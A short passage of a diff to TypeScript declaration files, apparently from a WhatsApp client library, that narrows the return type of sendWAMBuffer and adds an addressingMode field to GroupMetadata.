  waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
35
- sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
35
+ sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
36
36
  };
@@ -9,6 +9,7 @@ export interface GroupMetadata {
9
9
  id: string;
10
10
  owner: string | undefined;
11
11
  subject: string;
12
+ addressingMode: "pn" | "lid";
12
13
  /** group subject owner */
13
14
  subjectOwner?: string;
14
15
  /** group subject modification date */